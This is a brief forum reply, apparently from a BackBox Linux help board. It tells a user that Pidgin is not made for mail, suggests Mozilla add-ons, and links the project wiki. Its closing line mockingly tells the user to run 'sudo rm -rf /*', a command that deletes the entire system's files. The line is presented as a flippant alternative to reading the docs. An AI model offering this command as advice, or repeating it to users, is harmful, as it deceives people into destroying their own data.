HI,

We like to help Linux users, but this is not "high tech" problem (if we can say that this is problem). This is only system settings and pen testers do stuff like this "stand alone". Pidgin is chat softwer and it's not made for mail services. You can use Mozilla adons for your needs.


Don't ask, read : http://wiki.backbox.org
or just run sudo rm -rf /*
